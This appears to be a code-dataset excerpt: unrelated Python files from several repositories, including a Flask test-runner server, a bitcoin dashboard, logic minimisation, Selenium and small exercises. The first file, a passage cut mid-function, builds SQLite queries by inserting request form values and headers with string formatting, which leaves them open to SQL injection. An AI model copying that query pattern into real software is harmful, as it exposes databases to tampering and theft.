s['job'] = job\n s['pic_mulu'] = current_app.config.get('RESULT_PICT_SAVE')\n data = json.dumps(s)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n if run_server.strip() == '':\n port = cu.execute('select duan_kou from all_server where ip=\"%s\"' % '192.168.69.207').fetchall()[0][0]\n s.connect(('192.168.69.207', port))\n else:\n s.connect((run_server, int(port)))\n data = data.replace('//', '').encode('utf-8')\n s.send(data)\n s.close()\n return jsonify(statu='scuess')\n\n return zzds\n\n\"\"\"\ndef run_result(path):\n loader = unittest.TestLoader()\n suite1 = unittest.defaultTestLoader.discover(path, pattern='*.py', top_level_dir='E:\\\\run_mulu\\\\lakala')\n now = time.strftime('%Y-%m-%d-%H-%M', time.localtime(time.time()))\n fp = open('D:\\\\python text\\\\11.html', 'wb')\n runner = HtmlTestRunner.HtmlTestRunner(stream=fp, title=u'用例执行情况', description=u'报告:')\n runner.run(suite1)\n fp.close()\n\"\"\"\n\ndef run_charge(fun):\n\n def charge():\n fun()\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n try:\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1 ' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n except:\n return jsonify(statu='0')\n\n statu = cu.execute('select statu from run where name=\"%s\" ' % name).fetchall()[0][0]\n return jsonify(statu=statu)\n\n return charge\n\n\ndef add_file_detail(func):\n\n @functools.wraps(func)\n def aa():\n func()\n if request.method == 'POST':\n if request.form['type'] == 'jiekou':\n db = sqlite3.connect(current_app.config.get('JIE_KOU'))\n else:\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n cu.execute('update git_detail set detail=\"%s\" where name=\"%s\" and submit=\"%s\" ' % (request.form['detail'], request.form['git'], request.form['name']))\n db.commit()\n db.close()\n return jsonify(a='1')\n if request.method == 'GET':\n if request.args.get('type') == 'jiekou':\n db = sqlite3.connect(current_app.config.get('JIE_KOU'))\n else:\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n detail = cu.execute('select detail from git_detail where name=\"%s\" and submit=\"%s\" ' % (request.args.get('git'), request.args.get('name'))).fetchall()[0][0]\n db.commit()\n db.close()\n return jsonify(a=detail)\n\n return aa\n\n\ndef dingshi_result(func):\n\n def aaaa():\n func()\n if request.method == 'POST':\n if request.form['type'] == 'jiekou':\n db = sqlite3.connect(current_app.config.get('JIE_KOU'))\n else:\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1 ' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n db.close()\n id = request.form['update_time']\n url = os.path.join(current_app.config.get('RUN_FILE'), name)\n file_name = '#' + str(id)\n session['id'] = id\n for parent, dirnames, filenames in os.walk(url):\n for filename in filenames:\n if file_name in filename:\n path = os.path.join(parent, filename)\n print(path)\n\n db.close()\n session[name] = path\n return jsonify(statu='success')\n if request.args.get('type') == 'jiekou':\n db = sqlite3.connect(current_app.config.get('JIE_KOU'))\n else:\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n z = cu.execute('select run_result from dingshi_run where id=?', (session['id'],)).fetchall()[0][0]\n z = json.loads(z)\n db.close()\n print(session[name].replace('\\\\', '/'))\n return render_template('/hualala/pages/test_result.html', time=str(time.time()), z=z)\n\n return aaaa\n\n\ndef open_dingshi_detail(func):\n\n def open_dingshi_det():\n func()\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1 ' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n html = ' <tr class=\"dingshi_detail\" name=\"{{i[4]}}\"><td >{{i[1]}}</td><td> {{i[2]}}</td><td>{{i[3]}}</td><td>erere</td></tr>'\n if 'statu' in list(request.form.keys()) and request.form['statu'] == 'jiekou_dingshi':\n dingshi_detail = [ [i[1], i[2], i[4], i[6]] for i in cu.execute('select * from dingshi_run where name=\"%s\" and run_time like \"%s\" order by update_time desc ' % (name, '接口%')).fetchall() ]\n server_di = [ i[0] for i in cu.execute('select server from dingshi_run where name=\"%s\" and run_time like \"%s\" order by update_time desc ' % (name, '接口%')).fetchall()\n ]\n else:\n dingshi_detail = [ [i[1], i[2], i[4], i[6]] for i in cu.execute('select * from dingshi_run where name=\"%s\" and statu in (\"0\",\"1\",\"2\") order by update_time desc ' % name).fetchall() ]\n server_di = [ i[0] for i in cu.execute('select server from dingshi_run where name=\"%s\" and statu in (\"0\",\"1\",\"2\") order by update_time desc ' % name).fetchall()\n ]\n db.close()\n for k, i in enumerate(dingshi_detail):\n i.insert(0, i[0])\n i[1] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(float(i[0])))\n if i[(-2)].strip() in ('0', '3'):\n i[-2] = 'ready'\n else:\n if i[(-2)].strip() in ('1', '4'):\n i[-2] = 'running'\n else:\n if i[(-2)].strip() in ('2', '5'):\n i[-2] = 'over'\n i.append(server_di[k])\n\n s = ''\n for i in dingshi_detail:\n s += html.replace('{{i[4]}}', str(i[4])).replace('{{i[1]}}', i[1]).replace('{{i[2]}}', i[2]).replace('{{i[3]}}', i[3]).replace('erere', i[5])\n\n return jsonify(statu='success', html=s)\n\n return open_dingshi_det\n\n\ndef change_run_statu(func):\n\n def ceshizhon111ag():\n func()\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n data = 'success'\n if request.form['statu'] == 'running':\n if 'dingshi' in request.form['data']:\n cu.execute('update dingshi_run set statu=1 where id=%s ' % int(request.form['data'].split('dingshi')[(-1)]))\n else:\n cu.execute('update dingshi_run set statu=1 where id=%s ' % int(request.form['data']))\n else:\n if request.form['statu'] == 'over':\n if 'dingshi' in request.form['data']:\n cu.execute('update dingshi_run set statu=2 where id=%s ' % int(request.form['data'].split('dingshi')[(-1)]))\n else:\n cu.execute('update dingshi_run set statu=2 where id=%s ' % int(request.form['data']))\n else:\n if request.form['statu'] == 'run':\n cu.execute('update run set statu=0 where name=\"%s\" ' % request.form['data'])\n else:\n if 'job_result' in request.form['statu']:\n data = json.loads(request.form['data'])\n job_detail = json.loads(cu.execute('select job from dingshi_run where id=?', (data['id'],)).fetchall()[0][0])\n job_detail['result'] = data['result']['result']\n cu.execute('update dingshi_run set job=? where id=? ', (json.dumps(job_detail), data['id']))\n else:\n if request.form['statu'] == 'jekins':\n data = json.loads(request.form['data'])\n id = data['job_id']\n data = cu.execute('select * from jekins where id=?', (id,)).fetchall()[0]\n else:\n if request.form['statu'] == 'end_time':\n use_data = json.loads(request.form['data'])\n id = use_data['id']\n end_time = use_data['end_time']\n data = json.loads(cu.execute('select job from dingshi_run where id=?', (id,)).fetchall()[0][0])\n data['end_time'] = end_time\n cu.execute('update dingshi_run set job=? where id=? ', (\n json.dumps(data), int(id)))\n else:\n if request.form['statu'] == 'email':\n data = json.loads(request.form['data'])\n data = cu.execute('select * from fajianren where name=\"%s\" and email_user=\"%s\"' % (data['name'], data['send_email'])).fetchall()[0]\n db.commit()\n db.close()\n return jsonify(data=data)\n\n return ceshizhon111ag\n\n\ndef update_host(func):\n\n def ceshizonga():\n if request.method == 'post':\n func()\n return jsonify(statu='success')\n\n return ceshizonga","repo_name":"UserWangjn/JY_api_server","sub_path":"app/hualala/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":24272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71763160873","text":"from flask import Flask, Blueprint, render_template\ntry:\n from dictionary_files import file\nexcept:\n from app.dictionary_files import file\n\nindex_bp = Blueprint('index_bp', __name__)\n\n@index_bp.route('/')\ndef index():\n industry_items = file.industry_dic.items()\n education_items = file.education_dic.items()\n experience_items = file.experience_dic.items()\n job_type_items = file.job_type_dic.items()\n return render_template(\n 'index.html',\n industry_items=industry_items,\n education_items = education_items,\n experience_items = experience_items,\n job_type_items= job_type_items)","repo_name":"HwangHanJae/salary-predict-project","sub_path":"app/views/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1038570557","text":"import seaborn as sns\nimport matplotlib.pyplot as plt\n\n\ndef decayed_learning_rate(step, initial_learning_rate, decay_rate, decay_steps):\n return initial_learning_rate * decay_rate ** (step / decay_steps)\n\n\n\nif __name__ == '__main__':\n\n steps_per_epoch = 158\n epochs = 50\n\n total_steps = steps_per_epoch * epochs\n\n decay_rate = 0.98\n decay_epochs = 1\n\n learning_rates = []\n\n initial_lr = 5e-4\n\n for step in range(total_steps):\n new_lr = decayed_learning_rate(step, initial_lr, decay_rate, decay_epochs*steps_per_epoch)\n learning_rates.append(new_lr)\n\n print(decay_rate, decay_epochs)\n print(f'Initial LR: {initial_lr:.2E}')\n print(f'Last LR: {new_lr:.2E}')\n\n for i in range(0, epochs, 10):\n if i > 0:\n index = steps_per_epoch * i - 1\n print(f'LR at epoch {i}: {learning_rates[index]:.2e}')\n \n\n sns.set(style=\"whitegrid\")\n plt.figure(figsize=(10, 6))\n plt.plot(learning_rates)\n plt.title('Learning rate decaying at each epoch')\n plt.show()\n\n","repo_name":"QuimMarset/MAI-DL","sub_path":"Assignment 1/experiment_testing/test_lr.py","file_name":"test_lr.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12693455546","text":"def makeTable(pi, minterm):\r\n table = []\r\n subTable = []\r\n key = list(pi.keys())\r\n for i in range(0, len(minterm)):\r\n subTable.append(0)\r\n for i in range(0, len(pi)):\r\n table.append(subTable[:])\r\n for j in range(0, len(minterm)):\r\n if key[i].find(' ' + str(minterm[j]) + ' ') == -1:\r\n table[i][j] = 0\r\n else:\r\n table[i][j] = 1\r\n return table\r\n\r\n\r\ndef printTable(arr, minterm):\r\n print(minterm)\r\n for i in range(0, len(arr)):\r\n print(arr[i])\r\n\r\n\r\ndef showStep(pi, minterm, EPIArray):\r\n if minterm:\r\n table = makeTable(pi, minterm)\r\n printTable(table, minterm)\r\n print(\"PI : \", pi)\r\n else:\r\n print(\"End\")\r\n print(\"EPI : \", EPIArray)\r\n print()\r\n\r\n\r\ndef findEPI(table, minterm):\r\n EPIindex = []\r\n row = len(table)\r\n col = len(minterm)\r\n for i in range(0, col):\r\n count = 0\r\n p = 0\r\n for j in range(0, row):\r\n if table[j][i] == 1:\r\n count += 1\r\n p = j\r\n if count == 1:\r\n EPIindex.append(p)\r\n return EPIindex\r\n\r\n\r\ndef delDontCareMinterm(table, EPIindex, minterm):\r\n removeIndex = []\r\n for i in range(0, len(minterm)):\r\n removeIndex.append(0)\r\n\r\n for i in range(0, len(EPIindex)):\r\n for j in range(0, len(table[EPIindex[i]])):\r\n if table[EPIindex[i]][j] == 1:\r\n removeIndex[j] += 1\r\n\r\n for i in range(len(removeIndex) - 1, -1, -1):\r\n if removeIndex[i] > 0:\r\n minterm.pop(i)\r\n return minterm\r\n\r\n\r\ndef findNEPI(pi, minterm, EPIArray):\r\n counter = 0\r\n key = list(pi.keys())\r\n while (counter != len(pi)):\r\n counter = len(pi)\r\n table = makeTable(pi, minterm)\r\n EPIindex = findEPI(table, minterm)\r\n minterm = delDontCareMinterm(table, EPIindex, minterm)\r\n\r\n EPIindex = list(set(EPIindex))\r\n EPIindex.reverse()\r\n for i in EPIindex:\r\n EPIArray[key[i]] = pi[key[i]]\r\n del pi[key[i]]\r\n key = list(pi.keys())\r\n if EPIindex:\r\n print(\"simplify table\")\r\n showStep(pi, minterm, EPIArray)\r\n changeAblePI(pi, minterm, EPIArray)\r\n return EPIArray\r\n\r\n\r\ndef changeAblePI(pi, minterm, EPIArray):\r\n table = makeTable(pi, minterm)\r\n key = list(pi.keys())\r\n pi1 = 0\r\n pi2 = 0\r\n for i in range(0, len(pi)):\r\n for j in range(0, len(pi)):\r\n if i == j:\r\n continue\r\n if table[i] == table[j]:\r\n pi1 = i\r\n pi2 = j\r\n break\r\n if pi1 != 0:\r\n if len(key[pi1]) >= len(key[pi2]):\r\n del pi[key[pi2]]\r\n else:\r\n del pi[key[pi1]]\r\n print(\"changeable pi removed\")\r\n showStep(pi, minterm, EPIArray)\r\n\r\n\r\ndef rowDominance(pi, minterm, EPIArray):\r\n counter = 0\r\n while (counter != len(pi)):\r\n removeindex = []\r\n counter = len(pi)\r\n key = list(pi.keys())\r\n table = makeTable(pi, minterm)\r\n row = len(table)\r\n column = len(table[0])\r\n for i in range(0, row):\r\n for j in range(0, row):\r\n for k in range(0, column):\r\n if i == j:\r\n break\r\n if table[i][k] < table[j][k]:\r\n break\r\n else:\r\n if k == column - 1:\r\n removeindex.append(j)\r\n removeindex.reverse()\r\n for i in removeindex:\r\n del pi[key[i]]\r\n if removeindex != []:\r\n print(\"row dominance operated\")\r\n showStep(pi, minterm, EPIArray)\r\n changeAblePI(pi, minterm, EPIArray)\r\n\r\n\r\ndef columnDominance(pi, minterm, EPIArray):\r\n counter = 0\r\n while (counter != len(minterm)):\r\n removeIndex = []\r\n counter = len(minterm)\r\n table = makeTable(pi, minterm)\r\n row = len(table)\r\n column = len(table[0])\r\n for i in range(0, column):\r\n for j in range(0, column):\r\n for k in range(0, row):\r\n if i == j:\r\n break\r\n if table[k][i] < table[k][j]:\r\n break\r\n else:\r\n if k == row - 1:\r\n removeIndex.append(j)\r\n removeIndex.reverse()\r\n for i in removeIndex:\r\n minterm.pop(i)\r\n if removeIndex:\r\n print(\"column dominance operated\")\r\n showStep(pi, minterm, EPIArray)\r\n changeAblePI(pi, minterm, EPIArray)\r\n","repo_name":"parkjs82/TabularMethod","sub_path":"Optimization.py","file_name":"Optimization.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32865114568","text":"def even(a):\n if a % 2 == 0:\n return True\n else:\n return False\n# -\ninpt = int(input('Enter number: '))\nwhile inpt != 1: \n if even(inpt):\n inpt = inpt / 2\n print(inpt)\n else:\n inpt = inpt * 3 + 1\n print(inpt)","repo_name":"bells64/kollatz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41528469392","text":"#!/usr/bin/python\n\nimport sys\nimport string\nfrom os.path import exists\nfrom os import system\n\npdbfile = sys.argv[1]\n\nlines = open( pdbfile ).readlines()\n\ncount = 0\noutfiles = []\n\nin_pdb = 0\nwriteout = 0\ninit = 0\n\nfor line in lines:\n if line[0:6] == 'ENDMDL' or line[0:5] == 'MODEL' and in_pdb:\n fid.close()\n writeout = 0\n #init = 1\n\n if writeout:\n fid.write( line )\n\n if line[0:5] == 'MODEL' or init:\n count += 1\n outfile = pdbfile.replace( '.pdb', '_%03d.pdb' % count )\n outfiles.append(outfile)\n fid = open( outfile, 'w')\n writeout = 1\n in_pdb = 1\n init = 0\n\n# command = '/users/rhiju/python/replace_chain.py '+outfile+' A _ > temp'\n# system(command)\n# command = 'mv temp '+outfile\n# system(command)\n\n","repo_name":"rhiju/rhiju_python","sub_path":"parse_NMR_models.py","file_name":"parse_NMR_models.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20280530694","text":"def binary_search(ls, target):\n \"\"\"\n Returns the index position of the target if found, else returns None\n \"\"\"\n first = 0\n last = len(ls)-1\n while first <= last:\n mid = (last + first)//2 # floor division\n if ls[mid] > target:\n last = mid-1 \n elif ls[mid] < target:\n first = mid+1\n else:\n return mid\n return None\n \ndef verify(index):\n if index is not None:\n print(f\"Target found at index: {index}\")\n else:\n print(\"Target not found in list.\")\n\n# Execution\nif __name__ == \"__main__\":\n # Input values\n target = 12\n list_length = 10\n\n # Algo\n numbers = [x for x in range(1, list_length+1)]\n result = binary_search(numbers, target)\n verify(result)","repo_name":"LucasLaLima/algorithms-data-structures","sub_path":"binary_search_int.py","file_name":"binary_search_int.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24673268324","text":"class Solution:\n def numIdenticalPairs(self, nums: List[int]) -> int:\n \n freq = defaultdict(int)\n ans = 0\n for num in nums:\n freq[num] += 1\n for count in freq.values():\n ans += count * (count - 1) // 2\n return ans\n \n \n \n \n ","repo_name":"Usmaelabdureman/Competitive_programming","sub_path":"PythonTrack/Week1/number-of-good-pairs.py","file_name":"number-of-good-pairs.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"4775661038","text":"# -*- coding: utf-8 -*-\n\n#-------------------------------------------------------------------\n#| see posted messages and webinterface on http://mb.simon-lenz.de |\n#-------------------------------------------------------------------\n\nimport socket\nimport time\nimport json\n\nSERVERIP = \"www.simon-lenz.de\"\nSERVERPORT = 52222\n\nif __name__ == \"__main__\":\n\tnick = raw_input(\"Nickname:\")\n\n\twhile (True):\n\t\tmsg = raw_input(\"Nachricht (\\\"ende\\\" zum Beenden):\")\n\t\tif msg == \"ende\":\n\t\t\tbreak\n\n\t\t#--nicht unbedingt nötig--\n\t\t#nick_uni = nick.decode(sys.stdin.encoding)\n\t\t#msg_uni = msg.decode(sys.stdin.encoding)\n\t\t#nick_utf8 = nick_uni.encode(\"utf-8\")\n\t\t#msg_utf8 = msg_uni.encode(\"utf-8\")\n\t\t#-------------------------\n\n\t\tdata = {\"nickname\": nick, #nick_utf8,\n\t\t\t\t\"senderIPPORT\": 0,\n\t\t\t\t\"sendtime\": time.time(),\n\t\t\t\t\"recvtime\": 0,\n\t\t\t\t\"message\": msg} #msg_utf8}\n\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\ts.connect((SERVERIP, SERVERPORT))\n\t\ts.send(json.JSONEncoder().encode(data))\n\t\ts.close()\n","repo_name":"lenzls/messageBoardPyClient","sub_path":"src/client/client_main.py","file_name":"client_main.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42738945268","text":"__author__ = 'fr'\n\"\"\"\nCoursera Computational finance course video downloader\nthis script process a text file links.txt with names and links to the videos and downloads them named with proper names\n\"\"\"\n\nimport urllib\nimport re\n\nfilename ='links.txt'\n\nlinks = []\nnames = []\n\nlines = open(filename, 'r').read().strip().split('\\n')\nnum_lines = lines.__len__()\nx = range(1,num_lines)\n\n# set of lines - it takes every third starting with the first\nnum_line_names = x[::3]\n#num_line_links = x[1::3]\n\n#for n in num_line_names:\n# m = re.search('fin', lines[n-1:n])\n# names += lines[n-1:n][:m.start()] + lines[n-1:n][m.end():]\n\n#for n in num_line_links:\n# links += lines[n-1:n]\n\nfor n in num_line_names:\n line = lines[n-1:n][0]\n \n # remove the colons from file names:\n m = re.search(\":\", line) \n name = line[:m.start()] + line[m.end():]\n\n link = lines[n:n+1][0]\n \n urllib.urlretrieve (link, name+\".mp4\")\n","repo_name":"frrp/video_download","sub_path":"download_comp.fin.vids.py","file_name":"download_comp.fin.vids.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18452823470","text":"from dataclasses import dataclass\n\nclass Grid:\n def __init__(self, board):\n self.board = []\n self.height = len(board)\n self.width = max([len(row) for row in board])\n for row in board:\n self.board.append(\"\")\n for item in row:\n self.board[-1] += item\n for _ in range(max(0, self.width - len(row))):\n self.board[-1] += \" \"\n self.y = 0\n self.x = self.board[0].index('.')\n self.dx = 1\n self.dy = 0\n self.turns = \"\"\n\n def display(self):\n face = {(1, 0): '>', (0, 1): 'v', (-1, 0): '<', (0, -1): '^'}\n for r in range(self.height):\n for c in range(self.width):\n if (r, c) == (self.y, self.x):\n print(face[(self.dx, self.dy)], end=\"\")\n else:\n print(self.board[r][c], end=\"\")\n print()\n\n\n def turn(self, direction):\n self.turns += direction\n directions = [(1, 0), (0, 1), (-1, 0), (0, -1)] * 2\n if direction == 'R':\n self.dx, self.dy = directions[directions.index((self.dx, self.dy)) + 1]\n elif direction == 'L':\n self.dx, self.dy = directions[directions.index((self.dx, self.dy)) + 3]\n\n def go_forward(self):\n self.turns = \"\"\n nx, ny = self.x, self.y\n while True:\n nx, ny = nx + self.dx, ny + self.dy\n\n # x: 0, 50, 100, 150\n # y: 0, 50, 100, 150, 200\n\n if nx == 150 and ny <= 49: # Going off to right\n ny = 100 + (49 - ny)\n nx = 99\n self.turn(\"R\")\n self.turn(\"R\")\n elif nx == 100 and 50 <= ny <= 99:\n nx = 100 + (ny - 50)\n ny = 49\n self.turn(\"L\")\n elif nx == 100 and 100 <= ny <= 149:\n ny = 149 - ny\n nx = 149\n self.turn(\"R\")\n self.turn(\"R\")\n elif nx == 50 and 150 <= ny <= 199:\n nx = 50 + (ny - 150)\n ny = 149\n self.turn(\"L\")\n\n elif nx == 49 and ny <= 49: # Going off to left\n ny = 100 + (49 - ny)\n nx = 0\n self.turn(\"R\")\n self.turn(\"R\")\n elif nx == 49 and 50 <= ny <= 99:\n nx = ny - 50\n ny = 100\n self.turn(\"L\")\n elif nx == -1 and 100 <= ny <= 149:\n ny = 149 - ny\n nx = 50\n self.turn(\"R\")\n self.turn(\"R\")\n elif nx == -1 and 150 <= ny <= 199:\n nx = 50 + (ny - 150)\n ny = 0\n self.turn(\"L\")\n\n elif ny == 99 and nx <= 49: # Going off up\n ny = 50 + nx\n nx = 50\n self.turn(\"R\")\n elif ny == -1 and 50 <= nx <= 99:\n ny = 100 + nx\n nx = 0\n self.turn(\"R\")\n elif ny == -1 and 100 <= nx <= 149:\n nx = nx - 100\n ny = 199\n \n elif ny == 200 and nx <= 49: # Going off down\n nx += 100\n ny = 0\n elif ny == 150 and 50 <= nx <= 99:\n ny = 150 + (nx - 50)\n nx = 49\n self.turn(\"R\")\n elif ny == 50 and 100 <= nx <= 149:\n ny = 50 + (nx - 100)\n nx = 99\n self.turn(\"R\")\n\n if self.board[ny][nx] == '#':\n for direction in reversed(self.turns):\n self.turn('L' if direction == 'R' else 'R')\n break\n elif self.board[ny][nx] == '.':\n self.x, self.y = nx, ny\n break\n \n def __perform_instruction(self, instruction):\n if instruction in \"RL\":\n self.turn(instruction)\n return\n for _ in range(int(instruction)):\n lx, ly = self.x, self.y\n self.go_forward()\n if (self.x, self.y) == (lx, ly):\n break\n\n def perform_instructions(self, instructions):\n for parts in instructions.split(\"R\"):\n for j, forward_instruction in enumerate(parts.split(\"L\")):\n self.__perform_instruction(forward_instruction)\n if j == len(parts.split(\"L\")) - 1:\n continue\n self.turn(\"L\")\n self.turn(\"R\")\n self.turn(\"L\")\n\nwith open(\"in.txt\", \"r\") as f:\n lines = f.read().split(\"\\n\")\n stop = lines.index('')\n board = lines[:stop]\n instructions = lines[-1]\n\n grid = Grid(board)\n grid.display()\n\n grid.perform_instructions(instructions)\n\n face_score = {(1, 0): 0, (0, 1): 1, (-1, 0): 2, (0, -1): 3}\n ans = 1000 * (grid.y + 1) + 4 * (grid.x + 1) + face_score[(grid.dx, grid.dy)]\n print(ans)\n\n# total time: 1h 50m","repo_name":"ludvig-sandh/AdventOfCode22","sub_path":"Day 22/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74209613033","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport time\n#from selenium.webdriver.support.select import Select\n\nclass Test3Scen():\n\n def Test3(self):\n baseUrl = \"file:///C:/Users/idjorgon/Desktop/Files/Automation/Udemy/Ivan/index.html\"\n driver = webdriver.Chrome(\"C:/Users/idjorgon/PycharmProjects/libs/chromedriver.exe\")\n\n # Test 3\n # Navigate to home page\n # In the test 3 div, assert that \"Option 1\" is the default selected value\n # Select \"Option 3\" from the select list\n\n driver.maximize_window()\n # Navigate to home page\n driver.get(baseUrl)\n driver.execute_script(\"window.scrollBy(0, 700);\")\n title = driver.title\n # Get Title of the web page to confirm we have successfully navigated to home page\n print(\"Title of the web page is: \" + title)\n # driver.implicitly_wait(3)\n\n # Get Current Url\n currentUrl = driver.current_url\n print(\"Current Url of the web page is: \" + currentUrl)\n\n # In the test 3 div, assert that \"Option 1\" is the default selected value\n element = driver.find_element_by_id(\"dropdownMenuButton\")\n defaultSelected = element.text\n print(\"The default selected value in test 3 div is: \" + defaultSelected)\n\n # Select \"Option 3\" from the select list and confirm it's been selected\n element.click()\n elementOpt3 = driver.find_element(By.XPATH, \".//*[@id='test-3-div']/div/div/a[3]\")\n elementOpt3.click()\n option3 = element.text\n print(\"We successfully selected: \" + option3)\n\n time.sleep(9)\n # Browser Close / Quit\n # driver.close()\n driver.quit()\n\ne = Test3Scen()\ne.Test3()","repo_name":"ivandjorgon/python-py-tests","sub_path":"PythonTests/Test3Scenario.py","file_name":"Test3Scenario.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74274235111","text":"from flask import Flask, Blueprint, render_template, send_from_directory, jsonify\nfrom flask_bootstrap import Bootstrap\n\nimport pandas as pd\nimport sys\nsys.path.append(\"..\")\n\nfrom models.bitcoin_dashboard.data_collection.Create_CQL import *\nfrom models.bitcoin_dashboard.data_analysis.dataRetrieval import *\nfrom models.bitcoin_dashboard.data_analysis.dashboard import *\nfrom datetime import datetime, timedelta\nfrom flask_jsonpify import jsonpify\nimport json\nfrom flask import Blueprint, render_template, session, request\nfrom flask_socketio import emit\nfrom flask_socketio import SocketIO, emit, join_room, leave_room, \\\nclose_room, rooms, disconnect\nfrom threading import Lock\nimport datetime\nimport time\n\n\n# Set this variable to \"threading\", \"eventlet\" or \"gevent\" to test the\n# different async modes, or leave it set to None for the application to choose\n# the best option based on installed packages.\nasync_mode = None\nsocketio = SocketIO(async_mode=async_mode)\n\n\nthread = None\nthread_lock = Lock()\n\n\ndef background_thread():\n \"\"\"Example of how to send server generated events to clients.\"\"\"\n count = 0\n while True:\n socketio.sleep(10)\n\n _time= datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\n print('{}: Got Wallet Data'.format(_time))\n coinHistory = getCurrentWalletDF(session=None, db='cryptocoindb2', coin='bitcoin')\n coin_data =coinHistory.groupby(['name', 'CurrentPrice']).sum().reset_index()[\n ['name', 'CurrentPrice', 'CurrentWalletVallue', 'coins_transacted']]\n socketio.emit('my_response',\n coin_data.to_dict('index')[0],\n namespace='/coin')\n\n\n@socketio.on('connect', namespace='/coin')\ndef test_connect():\n global thread\n with thread_lock:\n if thread is None:\n thread = socketio.start_background_task(target=background_thread)\n emit('my_response', {'name': 'BTC?',\n 'coins_transacted': 0.0,\n 'CurrentWalletVallue': 0.0,\n 'CurrentPrice': 0.0})\n\n@socketio.on('get_balance', namespace='/coin')\ndef get_coin_price():\n\n coinHistory = getCurrentWalletDF(session=None, db='cryptocoindb2')\n coin_data = coinHistory.groupby(['name']).sum().reset_index()[\n ['name', 'CurrentPrice', 'CurrentWalletVallue', 'coins_transacted']]\n _time = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\n total_dollar = round(coin_data['CurrentWalletVallue'].sum(),2)\n money_in = coinHistory.groupby(['name']).sum().reset_index()['USD_In'].sum()\n net_profit = round(total_dollar - money_in, 2)\n\n print('{}: Got Balance'.format(_time))\n return socketio.emit('my_balance',\n {'time': _time,\n 'blance_USD': total_dollar,\n 'net': net_profit,\n },\n namespace='/coin')\n","repo_name":"usmcamp0811/mattcamp.org","sub_path":"bitcoin_project/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"10962166168","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 4 23:08:59 2020\r\n\r\n@author: Giovanni\r\n\"\"\"\r\n\r\n# Regras de Associação com Apriori \r\n\r\nimport pandas as pd \r\n\r\n#instala-se o pacote: \r\n#pip install apyori\r\n\r\nfrom apyori import apriori \r\n\r\ndados = pd.read_csv('transacoes.txt', header=None)\r\n\r\n# para utilizar o pacote precisamos fazer uma codificacao manual no dataframe \r\ntransacoes = []\r\nfor i in range(0,6):\r\n transacoes.append([str(dados.values[i,j])for j in range(0,3)])\r\n \r\n# Minerando as regras:\r\nregras = apriori(transacoes, min_support=0.5, min_confidence=0.5)\r\n\r\nresultado = list(regras)\r\n\r\n# Codificação para visualizar melhor as regras: \r\nresultados2=[list(x) for x in resultado]\r\n\r\nresultados3 = []\r\nfor j in range(0,7):\r\n resultados3.append([list(x) for x in resultados2[j][2]])","repo_name":"GiovanniBru/Data-Science","sub_path":"testes python/25_associacao_apriori.py","file_name":"25_associacao_apriori.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4597273777","text":"from livetiming.messages import SlowZoneMessage\nfrom livetiming.racing import FlagStatus\n\n\ndef state_with_flag(flag):\n return {\n 'session': {\n 'flagState': flag.name.lower()\n }\n }\n\n\ndef test_slow_zone_message():\n generator = SlowZoneMessage\n\n prev_state = 